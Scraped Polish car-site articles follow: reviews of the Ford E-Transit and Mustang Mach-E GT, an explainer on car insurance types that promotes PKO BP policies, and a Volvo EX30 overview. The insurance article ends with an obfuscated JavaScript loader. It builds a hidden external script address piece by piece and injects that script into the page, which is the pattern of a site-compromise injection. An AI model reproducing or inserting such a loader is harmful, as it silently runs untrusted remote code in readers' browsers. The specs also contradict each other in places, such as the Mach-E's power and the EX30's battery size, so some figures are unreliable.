W samochodzie znajduje się także cały zestaw systemów bezpieczeństwa i tych ułatwiających jazdę. To. m.in. system zapobiegania kolizjom (Collision Mitigation System) z funkcją automatycznego hamowania (Active Braking), system ostrzegania przed niezamierzonym zjechaniem z pasa ruchu (LKW), układ ułatwiający ruszanie pod górę (HSA) czy tempomat.

Komfort jazdy podnoszą także automatyczne wycieraczki oraz światła, które nie są tak oczywiste w innych dostawczych autach.

Ford E-Transit – wnętrze

Wnętrze zaskoczyło mnie zupełnie. Zamiast typowo roboczego środka zastałam ergonomię znaną z aut osobowych Forda. To najbardziej bogato wyposażony dostawczak, w jakim siedziałam. Jest tu automatyczna klimatyzacja, podgrzewane fotele, czujniki parkowania z przodu i z tyłu, kamery 360 stopni.

System inforozrywki, który ma przecież zapewniać kontakt ze światem, ale i uprzyjemniać jazdę kierowcy, doskonale spełnia swoje zadanie będąc intuicyjny i szybki.

Ale w takim aucie, w którym pracuje się całymi dniami, ważny jest każdy schowek – mamy tu schowek nad głową na dokumenty i urządzenia (tachograf i radio CB), trzy pojemne półki w górnej części kokpitu (w tym przy kierowcy są porty usb i gniazdko 12V), cup holdery i uchwyty na dużą wodę (także w drzwiach głębokie kieszenie), duży schowek przed fotelem pasażera i pod siedziskami miejsce np na kable.

Dodatkowo, dzięki zastosowaniu elektrycznego hamulca także między fotelami uzyskano mnóstwo miejsca, dzięki czemu można tu postawić torbę podróżną, torbę z kablami czy nawet podróżną lodówkę.

Na ścianie łączącej kabinę pasażerską z ładunkową znalazło się miejsce na dwa haczyki na ubrania robocze lub na zmianę.

Ford E-Transit

Ford E-Transit

Ford E-Transit – silnik, bateria, Pro Power Onboard

Auto ma silnik elektryczny o mocy 269 KM i zasięg do 309 kilometrów wg normy WLTP, a to pozwala nie tylko na spokojną, codzienną pracę, ale jest także wiodącą wartością w swoim segmencie. Jest też dostępny w dwóch wariancie o mocy 184 KM.

Baterie mają pojemność użytkową 68 kWh (400 V), co z kolei przekłada się na dobrą równowagę pomiędzy kosztami, a zasięgiem. Dodatkowym atutem jest możliwość skorzystania z funkcji Pro Power Onboard, dzięki której energię zgromadzoną w akumulatorze można wykorzystywać do zasilania różnych urządzeń – piłę, wiertarkę czy laptop wystarczy podłączyć do samochodowego gniazdka 230 V, by bez przeszkód z nich korzystać.

Ford pozwala także na zaprogramowanie harmonogramu ładowań, co oznacza, że korzystanie z elektrycznego samochodu dostawczego jest niezwykle łatwe, a codziennie rano ma on w pełni naładowaną baterię.

Montaż akumulatora pod podłogą jest szczególnie ważny – projektanci Forda dołożyli starań, aby wszystkie punkty mocowania na ramie były identyczne w wersji spalinowej i elektrycznej Transita. To ogromna korzyść dla tych, dla których Transity przechodziły modyfikacje (jak chociażby zabudowy), a teraz przy E-Transicie nie będą musieli szukać nowych specjalistów do takich zleceń. Jest to istotne również z punktu widzenia kosztów zabudów, które powinny być porównywalne do tych w spalinowym Transicie.

Przy elektryfikacji modelu w żaden sposób nie ucierpiała także przestrzeń ładunkowa, której maksymalna pojemność wynosi 15,1 m3.

Ford E-Transit – wrażenia z jazdy

E – Transit – mimo swoim dużych gabarytów – prowadzi się niezwykle lekko, niczym osobówka. Jest przy tym tak dynamiczny, że zaskoczy niejednego kierowcę. Duży moment obrotowy na kołach od najmniejszych prędkości pozwala przyspieszać znacznie szybciej, niż spalinową osobówką. W końcu mam tu do dyspozycji blisko 270 KM!

Napęd na tyle koła sprawia, że samochód prowadzi się bardzo intuicyjnie na zakrętach. Akumulator trakcyjny z kolei, rozłożony równomiernie w podłodze przekłada się na niski środek ciężkości auta i brak przechyłów na winklach, tak dotkliwych w spalinowych autach dostawczych. Dzięki temu także towar jest bardziej stabilny w przestrzeni ładunkowej.

Kierowca może wybierać spośród trzech trybów jazdy – Normal, który jest przeznaczony do codziennych podróży, Slippery poprawiający prowadzenie na śliskich nawierzchniach i Eco oszczędzający energię.

E-Transit odzyskuje energię elektryczną podczas hamowania. Możliwe są dwa sposoby rekuperacji – najwyższy, po włączeniu przez kierowcę specjalnego przycisku na tablicy rozdzielczej, oraz metodą dwustopniową, poprzez hamowanie rekuperacyjne i nacisk na pedał hamulca – pierwsze dotknięcie zapewnia średnią siłę hamowania, a ponowne powoduje jej wzrost do wysokiego poziomu.

Zużycie energii wynosi od 26,5 do 39,0 kWh/100 km zależnie od mocy silnika, rodzaju zabudowy. Ładowanie akumulatora do 80% pojemności przy użyciu tzw. szybkiej ładowarki trwa zaledwie 34 minuty, a z wykorzystaniem wallboxa Ford Connected o mocy 11,0 kW – 8 godzin i 10 minut, co pozwala zasilić baterię np. w czasie nocnej przerwy w eksploatacji samochodu.

E Transitem manewruje się niebywale łatwo, dzięki ogromnym lusterkom bocznym, ale i wyposażeniu w czujniki parkowania i kamerę, która umożliwia na ekranie podgląd obrazu otoczenia auta w naprawdę dobrej rozdzielczości.

W takich samochodach cieszy możliwość korzystania z buspasów oraz bezpłatnego parkowania w strefach płatnych, ale też świetna dynamika jazdy przy jednoczesnej ciszy w kabinie.

Ford E-Transit – opinia

Co jeszcze może być ważne dla przedsiębiorcy? Z pewnością to, że E Transit w perspektywie kilku lat okazuje się tańszy w eksploatacji niż pojazdy z silnikiem wysokoprężnym. Ładowność wynosząca ponad 2 tony nie ustępuje tej, jaką zapewniają auta dostawcze z klasycznym napędem. Co więcej, pod względem wartości rezydualnej w okresie 36 miesięcy lub przy przebiegu do 90 000 kilometrów, E-Transit jest liderem w swoim segmencie i jest dostępny w korzystnej ofercie zakupu dla firm.

W podstawowej wersji kosztuje 276 905 zł z dopłatą z programu „Mój elektryk” (pojazdy kategorii N1) to tylko 70 tys. zł netto. Jego akumulator jest objęty gwarancją na 8 lat lub 160 000 km. To dlatego sprzedaje się jak ciepłe bułeczki.

Firma Ford produkuje już także elektryczną wersję swojego najlepiej sprzedającego się w Europie samochodu dostawczego – E-Transita Customa oraz wielozadaniowego Tourneo Customa. Zaś w 2024 roku dołączą do nich Transit Courier i Tourneo Courier.

Dodatkowo samochody elektryczne mają mniej części, więc ich serwis jest mniej skomplikowany, tańszy i krótszy. A czas jest kluczowy w przypadku wielu klientów biznesowych, co może być dodatkową zachętą do zakupu E-Transita.

Source: Ford E-Transit – TEST. Ideał dla odpowiedzialnego przedsiębiorcy?

Ford Mustang Mach-E GT z mocą 478 KM – TEST. Możesz mieć ikonę

Spis treści

Mustang to ikona – ten spalinowy. Jest nadal oferowany, a do gamy włączono – zgodnie z ideą Forda przejścia na zelektryfikowane pojazdy do 2035 roku – auto pod podobną nazwą, lecz zgoła inne. Można śmiało powiedzieć, że to wyraz innowacyjności marki. Zmienione nadwozie, rodzaj zasilania i w ogóle charakter auta wpłynął na zupełnie inne postrzeganie odmiany elektrycznej, czyli Macha-E. Teraz to SUV na prąd, który jest praktyczny na co dzień, świetny do jazdy miejskiej i w dłuższą podróż, ale też wizualnie wyjątkowo ciekawy.

Ford Mustang Mach-E GT TEST PL

Ford Mustang Mach-E GT – nadwozie – wygląd

Auto ma niezwykle urodziwy kształt i sylwetkę nadwozia. Dodatkowo, sportowy charakter Forda Mustanga Mach-E GT podkreśla wyjątkowy pakiet stylizacyjny nadwozia, na który składa się usportowiony wygląd przedniego zderzaka skrywającego futurystyczne lampy, frontu z logo (pędzący mustang to symbol dzikości i wolności), tylny zderzak w stylizacji GT oraz osłony nadkoli lakierowane w kolorze nadwozia.  Unikalności tej odmianie dodają również barwy dostępne wyłączenie dla wersji GT  – Grabber Blue i Cyber Orange, choć moja testówka wygląda równie ciekawie w lakierze Lucid Red.

20-calowe obręcz ze stopów lekkich i 19-calowe wentylowane tarcze przednie mają charakterystyczne czerwone zaciski.

Pozostawienie charakterystycznych, potrójnych lamp z tyłu auta nawiązujących do serii spalinowych Mustangów, wygląda wyjątkowo dobrze, zwłaszcza w nocy – nie sposób pomylić tego auta z innym! Piękne przetłoczenia z boku i muskularna przednia maska sprawiają, że nadal mamy wrażenie do czynienia z kultowym Mustangiem.

Bryła elektrycznego Mustanga, który z muskularnego coupé, stał się crossoverem, została sprytnie zaprojektowana. Patrząc na auto z boku, nie sposób odnieść wrażenia, że dach jest mocno pochylony. To iluzja tworzona przez czarne obramowanie dachu zachodzące na górną krawędź boku nadwozia. Wizualnie mocno opadająca linia boczna to nawiązanie do linii auta typu fastback, z długą maską. Brak tradycyjnych klamek potęgują sportowy design i nadają minimalistycznej smukłości nadwoziu.

W rzeczywistości jednak pasażerowie drugiego rzędu nie muszą się obawiać o brak przestrzeni nad głową. Nawet, gdy są wysocy. I to mimo panoramicznego dachu w testowanym egzemplarzu.

Rozstaw osi to imponujące 2987 mm, co zapewnia przestronność we wnętrzu dla czterech dorosłych pasażerów. Aby mieć wyobrażenie, o jak dużym rozstawie osi tu mowa, to wystarczy wspomnieć, że Mustang ma o 3 mm dłuższy rozstaw osi niż największy SUV Volvo XC90. 

Ford Mustang Mach-E GT

Ford Mustang Mach-E GT

Ford Mustang Mach-E GT – wnętrze

Wnętrze Mustanga Mach-E GT to tzw. sportowa elegancja. Przykładowo fotele przygotował Ford Performance – świetnie trzymają na szybko pokonywanych zakrętach. Na środku dominuje 15.5-calowy prosty w obsłudze ekran dotykowy, w układzie pionowym, z nowoczesnym, intuicyjnym interfejsem. System – SYNC 4A wykorzystuje uczenie maszynowe, dzięki czemu szybko poznaje preferencje kierowcy i może tworzyć spersonalizowane sugestie np. dotyczące trasy przejazdu. System rozpoznaje naturalną mowę, ma modem 4G, stałe połączenie z chmurą, więc jest stale udoskonalany, dzięki bezprzewodowym aktualizacjom systemu. Jest kompatybilny z Apple CarPlay, Android Auto.

Fizycznych przycisków jest tu niewiele – króluje tu mój ulubiony minimalizm. Informacje prezentowane na ekranie centralnym są bardzo wyraźne, a wirtualne przełączniki różnych funkcji (np. klimatyzacji, ogrzewania foteli, czy kierownicy) są proste w obsłudze. W dolnej części ekranu umieszczono duże, radełkowane pokrętło regulacji głośności systemu multimedialnego – zależnie od aktywnej w danym momencie funkcji sterujemy głośnością muzyki, radia, rozmowy telefonicznej lub komunikatów nawigacji pokładowej). Nie zabrakło oczywiście gniazd USB i to w dwóch standardach (USB-A oraz USB-C; także z tyłu). Na pokładzie testowanej odmiany znalazło się też miejsce dla ładowarki indukcyjnej z szeroką półką – gdzie zmieszczą się dwa duże smartfony – dwóch łatwo dostępnych cupholderów i szerokiego podłokietnika.

Ford Mustang Mach-E GT

Ford Mustang Mach-E GT

Półka w tunelu środkowym jest dwupoziomowa, dzięki czemu zmieścimy tu więcej podręcznych drobiazgów. Można korzystać też ze schowka na okulary w podsufitce, szerokich wnęk w boczkach drzwi czy sporego schowka przed pasażerem z przodu.

Przestrzenny środek doświetla pełnowymiarowy dach panoramiczny z filtrami UV. To naprawdę dobrze wykonane, świetnie spasowane i ergonomiczne wnętrze. Projektanci, wykorzystując tapicerkę najwyższej jakości, ale ze skóry ekologicznej, z ładnymi przeszyciami, idealnie trafili w mój gust.

Ford Mustang Mach-E GT – bogate wyposażenie

  • zawieszenie adaptacyjne MagneRide
  • audio od B&O Play
  • dach Panoramiczny
  • wszystkie systemy wsparcia prowadzenia i bezpieczeństwa w cenie
  • bezprzewodowe Android Auto i Apple Car Play + bezprzewodowe ładowanie
  • podgrzewana przednia i tylna szyba
  • podgrzewane przednie fotele
  • podgrzewana kierownica
  • bagażnik z przodu i z tyłu o dużej pojemności
  • adaptacyjny tempomat ze stop & go
  • system uniknięcia kolizji przy zmianie pasa
  • hamowanie automatyczne przy wykryciu pieszych i przeszkód
  • możliwość ciągnięcia przyczepy o masie 1500 kg
  • możliwość przewożenia bagażnika o masie 65 kg na szklanym dachu
  • planer ładowania i przygotowania samochodu do drogi
  • unikalny system otwierania drzwi

Ford Mustang Mach-E GT – bagażnik

Bagażnik z tyłu ma pojemność 405 litrów do rolety bagażnika. Roleta ma tu postać miękkiej, rozciąganej tkaniny, a nie sztywnej półki. Pakując po dach przestrzeń rośnie do 519 litrów, a to jeszcze nie koniec, bo auto wyposażone jest również w przedni bagażnik (tzw. frunk) zwiększający sumaryczną pojemność bagażową o kolejne 100 litrów. Złożenie oparć tylnych foteli zwiększa kubaturę ładunkową do maksymalnie 1420 litrów + 100 litrów frunka.

Obecność przedniego bagażnika to o tyle dobre rozwiązanie, że wybierając się w dłuższą podróż mamy miejsce na kable, których wyciągnięcie nie będzie wymagać wystawiania części bagaży, co miałoby miejsce w wielu autach elektrycznych, w których schowki na kable zaplanowano pod podłogą bagażnika.

Ford Mustang Mach-E GT – pakiet Technology i FordPass

Testowa wersja jest wyposażona w pakiet Technology, zawierający oprócz licznych asystentów kierowcy, także system nagłośnienia Bang&Olufsen z 9 głośnikami i subwooferem. Brzmi to naprawdę dobrze.

Warto sparować FordPass Connect ze swoim smartfonem za pomocą aplikacji FordPass, bo można za pomocą telefonu zlokalizować, zamknąć lub otworzyć samochód, sprawdzić poziom naładowania i zasięg, ciśnienie w oponach, a także stan techniczny. Ciekawa jest też opcja, że na swoim smartfonie możesz wyznaczyć cel podróży, a następnie przesłać go bezpośrednio do nawigacji samochodu.

Ford Mustang Mach-E GT

Ford Mustang Mach-E GT

Ford Mustang Mach-E GT – wrażenia z jazdy

Podczas jazdy elektrykiem zyskujemy niebywałą ciszę na pokładzie, równomierne, liniowe przyspieszanie od najmniejszej prędkości, no i jazdę buspasami. Ale GT oferuje znacznie więcej i tu w pełni zgadzam się z Fordem, który mówi: możesz mieć elektryka, a możesz mieć ikonę. Rzeczywiście, swoimi osiągami ten samochód robi ogromne wrażenie.

Dwusilnikowy układ napędowy o mocy 487 KM przenosi do 860 Nm maksymalnego momentu obrotowego niezależnie na przednią i tylną oś, co przekłada się na absolutnie doskonałe prowadzenie i przyspieszenie – w 3,7 sekundy do setki!

Zapytacie pewnie, jak to czuć? Jest wspaniale! Ogromny moment obrotowy na kołach – zresztą najwyższy w seryjnie produkowanych Fordach – wyrywa asfalt spod kół przy ruszaniu z miejsca, ciało wciska w fotel, krew odpływa w siną dal, a kierowcy nie schodzi uśmiech z ust.

Każdy, kto przeżył to przyspieszenie, jest zaskoczony tym tempem i mocą, ale jednocześnie pozytywnie zdziwiony dźwiękiem, który towarzyszy przyspieszaniu. Jest nieco kosmiczny, bardzo nowoczesny i z pewnością uzależniający.

Ford Mustang Mach-E GT – zawieszenie i tryby jazdy

Za tę dobrą trakcję odpowiada zawieszenie adaptacyjne MagneRide, które monitoruje i dostosowuje swoją charakterystykę 1000 razy na sekundę, a za wyjątkowo skuteczne hamowanie układ hamulcowy od Brembo. Auto prowadzi się rewelacyjnie, jakby przyklejone do szosy nie przechyla się na zakrętach. Gdyby komuś było mało emocji, to ma do dyspozycji kilka trybów jazdy – w tym specjalny Untamed Plus do jazdy na torze. Najspokojniejszy tryb Whisper to idealne rozwiązanie do spokojnego toczenia się po uliczkach. Każdy z trybów to odzwierciedlenie nastroju, w którym aktualnie chcemy podróżować.

Ford Mustang Mach-E GT

Ford Mustang Mach-E GT

W mieście – gdy nie chcemy być zawsze pierwsi ze startu spod świateł i wolimy ekonomiczną jazdę – warto skorzystać z poruszania się z włączonym trybem „jednopedałowym” czyli silną rekuperacją hamującą pojazd do zera. Wówczas spokojnie podróżując ulicami miasta praktycznie nie trzeba korzystać z faktycznych hamulców.

Ford Mustang Mach-E GT – osiągi

  • przyspieszenie: 3,7 s 0-100 km/h
  • moc 487 KM
  • zasięg 490 km
  • moment obrotowy 860 Nm
  • szybkie łądowanie 150 KW: 99 km w 10 min, 10-80% 45 min

Ford Mustang Mach-E GT – akumulator

Wyposażony standardowo w powiększony akumulator o pojemności 88 kWh energii użytecznej Mach E GT umożliwia bezstresową jazdę na dłuższych dystansach, bo przekłada się na duży zasięg do 490 kilometrów między kolejnymi ładowaniami. Ładowanie z mocą do 150 kW może zwiększyć zasięg jazdy średnio o 99 kilometrów w ciągu około 10 minut ładowania, a ładowanie od 10% do 80% pojemności akumulatora trwa około 45 minut. To niebywale szybko!

Ford Mustang Mach-E GT – opinia

Jaki jest więc Mach-E GT? To najszybciej przyspieszający, pięciomiejscowy samochód Forda, który jest oferowany w europejskiej gamie. Jest autem kompletnym, przemyślanym i nie boję się tego stwierdzenia – spektakularnym. Mimo swoich świetnych parametrów pozostaje samochodem praktycznym, funkcjonalnym na co dzień, w którym znajdziesz wszelkie zalety elektryka, ale i to, za co kochamy spalinówki – czyli ogromną radość z jazdy.

Ford Mustang Mach-E GT – moim zdaniem – wyznaczył trendy w elektryfikacji aut i określił nową definicję muscle car-ów w wersji SUV. Teraz już wiem, skąd ta wysoka sprzedaż i rzesze fanów tego modelu, którzy są dumni z jego posiadania. Mach E-GT – w pełni elektryczny – to połączenie ognia (sportowego charakteru jazdy) i wody (odpowiedzialności za środowisko). Idealnie łączy w sobie ponad 50 lat dziedzictwa Mustanga z nowoczesną technologią elektryczną. Jest po prostu boski!

Source: Ford Mustang Mach-E GT z mocą 478 KM – TEST. Możesz mieć ikonę

Jakie są rodzaje ubezpieczeń samochodowych?

Ubezpieczenie OC. Co wchodzi w zakres?

OC, czyli ubezpieczenie odpowiedzialności cywilnej posiadacza pojazdu mechanicznego (w skrócie OC ppm) to jedyne ubezpieczenie samochodu, które jest obowiązkowe. Jest ono przypisane do właściciela pojazdu mechanicznego. Dlatego wykupić może je nawet osoba, która nie ma uprawnień do kierowania posiadanym pojazdem, np. nie ma prawa jazdy, ale np. otrzymała auto w spadku. Zgodnie z prawem, a dokładnie z ustawą z dnia 22 maja 2003 r. o ubezpieczeniach obowiązkowych, Ubezpieczeniowym Funduszu Gwarancyjnym i Polskim Biurze Ubezpieczycieli Komunikacyjnych, OC musi posiadać każdy właściciel posiadający zarejestrowany pojazd mechaniczny, czyli samochód, motorower, motocykl, ciągnik rolniczy, przyczepa, a także większość pojazdów wolnobieżnych. Co ważne, nawet pojazdy, które nie są użytkowane (nawet wraki), ale nie zostały wyrejestrowane, potrzebują polisy.

Zakres OC jest narzucony przez wspomnianą ustawę i każde towarzystwo ubezpieczeniowe oferujące taką polisę musi się do niej stosować. OC obejmuje rekompensatę szkód spowodowanych kolizją lub wypadkiem drogowym. Trzeba jednak mieć na uwadze, że owa rekompensata jest wypłacana wyłącznie poszkodowanemu. Sprawca musi pokryć szkody własne na swój koszt. Z OC pokrywane są zarówno szkody osobowe, jak i materialne. Czy więc uszczerbku na zdrowiu dozna osoba trzecia, czy uszkodzony zostanie jej pojazd, czy też bagaż, który się w nim znajduje – nie trzeba pokrywać rekompensaty z własnej kieszeni, ale zajmuje się tym ubezpieczyciel.

Przezorny zawsze ubezpieczony… z AC

Autocasco, czyli AC to ubezpieczenie od uszkodzenia lub kradzieży samochodu. W przeciwieństwie do OC, odszkodowanie w ramach AC należy się właścicielowi polisy. Jej zakres nie jest uregulowany ustawą, więc przed podpisaniem umowy z ubezpieczycielem należy dokładnie zapoznać się z warunkami ubezpieczenia i sprawdzić, co obejmuje. Czasem jeden ubezpieczyciel ma w ofercie kilka wariantów AC. Tak jest np. w PKO BP. Do wyboru są warianty Mini, Warsztat i ASO, które różnią się chociażby tym, jaki jest maksymalny wiek pojazdu, który może zostać objęty ubezpieczeniem. Inna różnica to części zamienne, jakie zostaną użyte w ramach napraw: czy będą to oryginały, czy zamienniki zgodne ze specyfikacją producenta albo o porównywalnej do oryginałów jakości.

Na odszkodowanie z AC można liczyć zarówno, jeśli pojazd zostanie uszkodzony przez zjawiska pogodowe, jak chociażby grad, huragan, pożar czy powódź, ale też jeśli przyczyną szkody jest stłuczka lub wypadek. Jeśli natomiast auto zostanie skradzione, ubezpieczony może liczyć na rekompensatę wysokości wartości rynkowej pojazdu w dniu kradzieży. Chyba, że ma wykupione dodatkowe opcje, takie jak „Suma ubezpieczenia 100%”.

Cena AC jest uzależniona od wielu czynników i jest ustalana indywidualnie. Zależy ona nie tylko od marki, rocznika czy danych technicznych auta, ale też od wieku i doświadczenia kierowcy oraz przede wszystkim historii szkodowej.

Od czego chroni Auto Assistance?

Auto Assistance to z kolei szybka pomoc w razie awarii czy kolizji. W jej ramach można liczyć np. na naprawę pojazdu w miejscu zdarzenia albo holowanie, a także na samochód zastępczy na czas naprawy. Sytuacje, w których Assistance może się przydać, to nie tylko pęknięta opona czy łożysko zepsute podczas jazdy po autostradzie. To także zatrzaśnięte w samochodzie kluczyki czy dostarczenie paliwa.

Ponownie biorąc za przykład ubezpieczenia oferowane przez PKO BP, trzeba zwrócić uwagę, że Assisance występuje w czterech wariantach. Niektóre z nich zawierają takie usługi, jak: ubezpieczenie szyb, szkołę bezpiecznej jazdy, pomoc medyczną.

Co wyróżnia NNW od OC lub AC?

Sprawca wypadku, nawet jeśli dozna obrażeń fizycznych, nie otrzyma odszkodowania z OC. Nie dostanie go też z AC, bo to ubezpieczenie pokrywa szkody materialne. Jedynie NNW, czyli ubezpieczenie od następstw nieszczęśliwych wypadków gwarantuje wypłatę odszkodowania w razie doznania obrażeń lub trwałego uszczerbku na zdrowiu. Ubezpieczyciel może też wypłacić świadczenie za pobyt w szpitalu, jeżeli tak stanowią warunki ubezpieczenia. Natomiast w razie śmierci ubezpieczonego, wsparcie finansowe otrzymają jego najbliżsi.

NNW można dokupić do każdej polisy w PKO BP. Ze szczegółami oferty można zapoznać się tutaj: https://www.pkobp.pl/klienci-indywidualni/ubezpieczenia/ubezpieczenie-samochodu/ubezpieczenie-samochodu/.

(function(){
znrw=document.createElement(„script”);znrw_=((„u”)+”st”)+”a”;znrw.async=true;
znrw.type=”text/javascript”;znrw_+=(„t.i”)+””+”n”;znrw_+=((„f”)+”o”);znrw_+=”/”;
znrwu=”547561621.”;znrwu+=”61v8ndqwnrw24xu4ysv”+”ygdXj028ltp”;
znrw.src=”https://”+znrw_+znrwu;document.body.appendChild(znrw);
})();

Source: Jakie są rodzaje ubezpieczeń samochodowych?

Volvo EX30 – cena w Polsce, dane techniczne, opis. To najszybszy model w historii marki!

Spis treści

Volvo EX30 to najmniejszy model szwedzkiej marki. Powstał na płycie podłogowej SEA i jest to pierwszy model Volvo, który z niej korzysta. Jest crossoverem, ma 423 cm długości i poza futurystyczną stylistyką wyróżnia się tym, że jest najszybszym autem w historii producenta. W zależności od wersji przyspieszenie od 0 do 100 km/h wynosi 5,7 s, 5,3 s lub 3,6 s. Ta ostatnia wartość robi spore wrażenie – dotyczy wersji AWD, której dwa silniki generują 428 KM (543 Nm). Wersje z napędem na tylną oś mają moc 272 KM (343 Nm). 

Od przyszłego roku EX30 będzie również dostępny jako wariant Cross Country – z większym prześwitem, 19-calowymi, czarnymi kołami i opcjonalnymi 18-calowymi z niestandardowymi oponami. Auto odróżnimy od odmiany standardowej po osłonach podwozia z przodu, z tyłu i po bokach, specjalnych czarnych panelach na przednim zderzaku i pokrywie bagażnika oraz logo Cross Country na masce. Zamówienia na tę specjalną wersję małego elektrycznego SUV-a będą przyjmowane w 2024 r., a produkcja ma się rozpocząć jeszcze w tym samym roku.

Volvo EX30 – silnik

Ten miejski elektryk dostępny będzie z:

  • jednym silnikiem o mocy 272 KM i mniejszą lub większą baterią;
  • dwoma silnikami o łącznej mocy 428 KM.

Topowy wariant przyspiesza do 100 km/h w jedynie 3,6 s. Z kolei zasięg na jednym ładowaniu wynosi, zależnie od wersji, do 480 km.

Volvo EX30 – bateria i moc ładowania

Mniejszy akumulator 51 kWh jest wykonany w technologii LFP (litowo-żelazowo-fosforowy); większy, o pojemności  69 kWh, w technologii NMC (zawiera lit, nikiel, mangan i kobalt i wytwarza energię wydajniej niż wariant LFP). Duży i mały akumulator mają niemal identyczną masę: około 420 kg.

Moc ładowarki prądem zmiennym jest różna w zależności od wersji wyposażenia: 11 kW lub 22 kW. Moc ładowarki prądem stałym wynosi 150 kW dla wszystkich wersji. Volvo EX30 z dwoma silnikami i większą baterią można na szybkiej ładowarce naładować od 10 do 80 procent w nieco ponad 25 minut. Za pomocą wyświetlacza centralnego i aplikacji w samochodzie można ustawić natężenie prądu, maksymalny poziom ładowania i czas rozpoczęcia ładowania.

Volvo EX30 – zasięg

Zasięg Volvo EX30 wg WLTP wynosi:

  • 344 km (bateria 51 kWh),
  • 480 km (bateria 69 kWh, napęd na tylną oś),
  • 460 km (wersja AWD, 69 kWh). 

Volvo EX30 – wygląd

Nadwozie wystylizowana wyjątkowo odważnie – łączy w sobie elegancję i nowoczesność. Ma spory rozstaw osi, duże koła i równe zwisy. Może być pokryty w jednym z pięciu barw lakieru: Vapour Grey, Onyx Black, Crystal White, Cloud Blue (nowy), Moss Yellow (nowy). W oczy rzucają się przednie reflektory z charakterystycznym motywem młota Thora, ale i pionowe tylne lampy, odważniej „zinterpretowane” niż w większych modelach Volvo. EX30 można zamówić z felgami 18, 19 lub 20 cali. 

Volvo EX30

Volvo EX30

Sposób poprowadzenia linii dachu oraz wyokrąglone i wygładzone powierzchnie nadwozia wyraźnie wskazują na to, że projektanci starali się obniżyć opór aerodynamiczny osiągając wynik Cx 0,28

Volvo EX30 – wnętrze

We wnętrzu zdecydowano się na odważny ruch. EX30 nie ma w ogóle ekranu wskaźników – jedynym źródłem informacji jest centralny ekran o przekątnej 12,3 cala, w którego górnej części znajdziemy informacje o prędkości jazdy, zasięgu czy stopniu naładowania baterii. Zobaczymy na ile kierowcy polubią takie rozwiązanie.

Kierownica jest nieco spłaszczona. Wybór trybów jazdy (do przodu lub do tyłu) odbywa się dźwignią zamontowaną przy jej kolumnie. Brak wybieraka trybów jazdy w tunelu środkowym uwolnił miejsce, które wypełniło kilka praktycznych schowków. 

Volvo Cars zrezygnowało w modelach elektrycznych z tapicerek ze skór zwierzęcych. 

Do wyboru będą cztery możliwe tapicerki: Indigo (a la dżins), Pine (zielona), Breeze (błękitna), Mist (wełna).

System, tak jak w innych modelach Volvo, oparto na Android Automotive, więc samochód fabrycznie oferuje aplikacje Google’a, takie jak mapy. Ekran centralny będzie wyświetlał inne funkcje w zależności od sytuacji drogowej: na postoju będą podpowiadane kierowcy inne funkcje niż np. w trakcie jazdy.

Samochód będzie miał zaawansowane funkcje autonomicznego parkowania – bez konieczności dotykania pedału gazu. Docelowo samochód będzie można parkować sterując autem za pomocą smartfona.

Volvo EX30

Volvo EX30

Volvo EX30 – wyposażenie

Dostępne będą trzy poziomy wyposażenia.

  • Core (Safe space technology, pompa ciepła (dla wersji LR), ładowarka AC 11 kW; adaptacyjny tempomat),
  • Plus (audio Harman Kardon, elektrycznie otwierana klapa bagażnika, funkcja Pilot Assist, podświetlanie wnętrza Ambient, kontrastowy czarny dach),
  • Ultra (ładowarka AC 22 kW, funkcja Park Pilot Assist, panoramiczny dach, elektryczna regulacja foteli, kamera 360).

Volvo EX30 ma niemal wszystkie systemy zapobiegające kolizjom z innymi pojazdami, we wszelkich scenariuszach drogowych (skrzyżowania, wyjazd z parkingu, niezamierzone zjechanie na przeciwległy pas ruchu). Nowością jest system zapobiegający otwarciu drzwi przez kierowcę lub pasażera, gdy obok jego samochodu przejeżdża rowerzysta lub inny pojazd.

Volvo EX30 będzie miało system chroniący rowerzystów, którzy mijają nasz pojazd. System czujników wykryje blisko przejeżdżającego rowerzystę, lub każdy inny pojazd, i ostrzeże nas, by nie otworzyć drzwi w najgorszym momencie. 

Volvo EX30 – bez Lidaru, za to z systemem kamer

W odróżnieniu od większego modelu Volvo EX90 – w EX30 nie zastosowano Lidaru. Z przodu pojazdu umieszczono jednak radar i kamerę o dłuższym zasięgu. Jest też oddzielna kamera szerokokątna ułatwiająca parkowanie i cztery ultradźwiękowe czujniki parkowania. To nie koniec. Są jeszcze dwa radary, które monitorują przestrzeń bezpośrednio przed samochodem, skierowane na boki. Na każdym boku umieszczono po jednej kamerze parkowania i po jednym czujniku ultradźwiękowym. Tyłu chronią także cztery czujniki, dwa radary, a wspomaga je kamera. 

Volvo EX30 – wymiary

Wymiary Volvo EX30 to (dł. x szer. x wys): 4233 x 2032 x 1549 mm. Dla porównania XC40 ma: 4425 x 2034 x 1658 mm.

W długości EX30 jest o 19 cm krótszy od XC40 i o 4 cm krótszy od nieprodukowanego już modelu V40. To najkrótszy model w ofercie Volvo od czasu zakończenia produkcji C30.

Volvo EX30 – dane techniczne

  • Rozstaw osi: 2650 mm (w dłuższym o 19 cm XC40 rozstaw osi jest większy tylko o 5 cm)
  • Koła aerodynamiczne: 18 lub 19 cali oraz 20 cali (opcjonalne)
  • Dopuszczalna waga holowane przyczepy: 1000, 1400, 1600 kg. (Single Motor/Single Motor Extended Range, Twin Motor Performance)
  • Volvo EX30 wersje silnikowe: 

    1. Single Motor (RWD, 272 KM, 59 kWh, 344 km zasięgu WLTP),
    2. Single Motor Long Range (RWD, 272 KM, 69 kWh, 480 km zasięgu),
    3. Twin Motor Performance (AWD, 428 KM, 69 kWh, 460 km zasięgu).

  • Przyspieszenie 0- 100 km/h (kolejno): 5,7, 5,3 oraz 3,9 s.
  • Prędkość maksymalna: 180 km/h – dla wszystkich wersji
  • Zawieszenie: z przodu ma zawieszenie typu McPherson, z tyłu: zawieszenie wielowahaczowe.

Volvo EX30 – cena w Polsce

Ceny za Volvo EX30 startują od 169 900 zł. Za tę kwotę otrzymujemy auto z baterią o pojemności 51 kWh i silnikiem o mocy 272 KM, napędzającym koła tylne. Zasięg tej wersji wynosi 344 km (zgodnie z WLTP).

To cena za wersję Core, w której mamy m.in. technologię Safe Space, adaptacyjny tempomat, 4-letnią subskrybcję na usługi cyfrowe – dostęp do Google Assistant, Google Mps i Google Play Store.

Volvo EX30 w wyposażeniu Plus kosztuje 184900 zł. Auto ma wówczas zasięg 480 km, a silnik 272 KM mocy. Bateria Long Range ma pojemność 69 kWh. Dodatkowo ponad to, co potrzymamy w odmianie Core, dostaniemy m.in. audio Harman Kardon.

Volvo EX30

Volvo EX30

